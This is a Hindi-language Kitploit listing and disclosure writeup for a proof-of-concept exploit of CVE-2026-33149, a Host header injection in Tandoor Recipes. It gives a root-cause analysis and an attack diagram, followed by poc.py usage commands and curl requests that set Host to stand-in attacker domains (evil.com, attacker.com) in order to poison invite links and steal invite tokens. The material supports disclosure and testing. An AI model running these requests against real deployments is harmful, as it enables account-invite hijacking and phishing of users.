Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-33149-PoC — CVE-2026-33149 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Tandoor Recipes में एक Host header injection जो इनवाइट लिंक पॉइज़निंग और कैश पॉइज़निंग को सक्षम बनाता है। इसमें होस्ट स्वीकृति, पेजिनेशन, स्कीमा और इनवाइट पॉइज़निंग के लिए मॉड्यूल शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/filipegaudard/cve-2026-33149-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणफिशिंगवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

CVE-2026-33149 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Tandoor Recipes में एक Host header injection जो इनवाइट लिंक पॉइज़निंग और कैश पॉइज़निंग को सक्षम बनाता है। इसमें होस्ट स्वीकृति, पेजिनेशन, स्कीमा और इनवाइट पॉइज़निंग के लिए मॉड्यूल शामिल हैं।

रिपॉजिटरी देखें
286 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-33149 — Tandoor Recipes में होस्ट हेडर इंजेक्शन

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


सारांश

Tandoor Recipes settings.py में डिफ़ॉल्ट रूप से ALLOWED_HOSTS = '*' सेट करता है, जिससे Django बिना किसी सत्यापन के HTTP Host हेडर में किसी भी मान को स्वीकार कर लेता है। एप्लिकेशन कई सुरक्षा-संवेदनशील संदर्भों में पूर्ण URL उत्पन्न करने के लिए request.build_absolute_uri() का उपयोग करता है। एक हमलावर जो निर्मित Host हेडर के साथ अनुरोध भेज सकता है, सर्वर द्वारा उत्पन्न सभी URL को हमलावर-नियंत्रित डोमेन पर पुनर्निर्देशित कर सकता है।

सबसे गंभीर प्रभाव इनवाइट लिंक पॉइज़निंग है: जब कोई व्यवस्थापक उपयोगकर्ता इनवाइट बनाता है, तो सर्वर द्वारा भेजे गए ईमेल में हमलावर के डोमेन की ओर इशारा करने वाला लिंक होता है। पीड़ित एक वैध दिखने वाले ईमेल पर क्लिक करता है, इनवाइट टोकन बाहर निकाल लिया जाता है, और हमलावर इसका उपयोग खाता प्रावधान प्रवाह को हाईजैक करने के लिए करता है।

भेद्यता विवरण

फ़ील्डमान
CVE IDCVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — स्क्रिप्टिंग सिंटैक्स के लिए HTTP हेडर का अनुचित न्यूट्रलाइज़ेशन
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
प्रभावित संस्करणTandoor Recipes ≤ 2.5.3
विक्रेताTandoorRecipes/recipes

MITRE ATT&CK मैपिंग

तकनीक IDनामप्रासंगिकता
T1557Adversary-in-the-Middleट्रैफ़िक पुनर्निर्देशित करने के लिए सर्वर-जनित URL में हेरफेर
T1566.002Phishing: Spearphishing Linkपॉइज़न किया गया इनवाइट ईमेल हमलावर-नियंत्रित लिंक रखता है

मूल कारण विश्लेषण

1. वाइल्डकार्ड ALLOWED_HOSTS

फ़ाइल: recipes/settings.py:118

ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

Django का ALLOWED_HOSTS एक सुरक्षा उपाय है जो Host हेडर को व्हाइटलिस्ट के विरुद्ध सत्यापित करता है। वाइल्डकार्ड '*' इस सत्यापन को पूरी तरह से अक्षम कर देता है, जिससे कोई भी मनमाना मान स्वीकार हो जाता है।

2. इनवाइट ईमेल में असुरक्षित URL निर्माण

फ़ाइल: cookbook/serializer.py:1852-1853

message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() request.get_host() का उपयोग करके URL बनाता है, जो ALLOWED_HOSTS द्वारा प्रतिबंधित न होने पर कच्चा Host हेडर मान लौटाता है। इनवाइट UUID — एक गुप्त टोकन — उस URL में एम्बेडेड होता है जो अब हमलावर की ओर इशारा करता है।

3. अतिरिक्त प्रभावित सतहें

  • API पेजिनेशन — DRF पेजिनेशन क्लासेस next/previous URL के लिए build_absolute_uri() का उपयोग करती हैं
  • OpenAPI स्कीमा — स्कीमा जनरेटर सर्वर URL के लिए इसका उपयोग करता है
  • कैश पॉइज़निंग — कैशिंग प्रॉक्सी वाले डिप्लॉयमेंट में, एक ही अनुरोध से सभी उपयोगकर्ताओं के लिए पॉइज़न किए गए URL परोसे जाने का जोखिम

हमले का प्रवाह

┌──────────┐     ① निर्मित अनुरोध         ┌─────────────────┐
│ हमलावर   │ ──────────────────────────────→│  Tandoor सर्वर  │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             "attacker.com" का उपयोग करता है
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  SMTP सर्वर    │
                                            └────────┬───────┘
                                                     │
                                       ③ पॉइज़न लिंक वाला ईमेल:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    पीड़ित      │
                                            │  (लिंक पर क्लिक)│
                                            └────────┬───────┘
                                                     │
                                          ④ UUID हमलावर को भेजा गया
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   हमलावर       │
                                            │ वास्तविक सर्वर │
                                            │ पर UUID का उपयोग│
                                            └────────────────┘

प्रूफ ऑफ कॉन्सेप्ट

आवश्यकताएँ

  • Python 3.8+
  • requests लाइब्रेरी
pip install requests

उपयोग

# बेसिक प्रमाणीकरण के साथ सभी सत्यापन मॉड्यूल चलाएँ
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# सत्र कुकीज़ के साथ सभी मॉड्यूल चलाएँ
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# केवल इनवाइट लिंक पॉइज़निंग
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

मॉड्यूल

मॉड्यूलविवरण
host-acceptसत्यापित करता है कि लक्ष्य मनमाना Host हेडर स्वीकार करता है (ALLOWED_HOSTS = '*')
paginationपुष्टि करता है कि API पेजिनेशन URL इंजेक्ट किए गए डोमेन को दर्शाते हैं
schemaपुष्टि करता है कि OpenAPI स्कीमा सर्वर URL इंजेक्ट किए गए डोमेन को दर्शाते हैं
inviteपॉइज़न इनवाइट लिंक बनाता है — प्राथमिक हमला वेक्टर
allसभी मॉड्यूल क्रमिक रूप से चलाता है

मैनुअल सत्यापन (curl)

1. होस्ट हेडर स्वीकृति

curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# अपेक्षित: 200 (असुरक्षित) | 400 (पैच किया गया)

2. पेजिनेशन URL प्रतिबिंब

curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# अपेक्षित: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. स्कीमा URL प्रतिबिंब

curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# अपेक्षित: http://evil.com/...
टूल डाउनलोड करें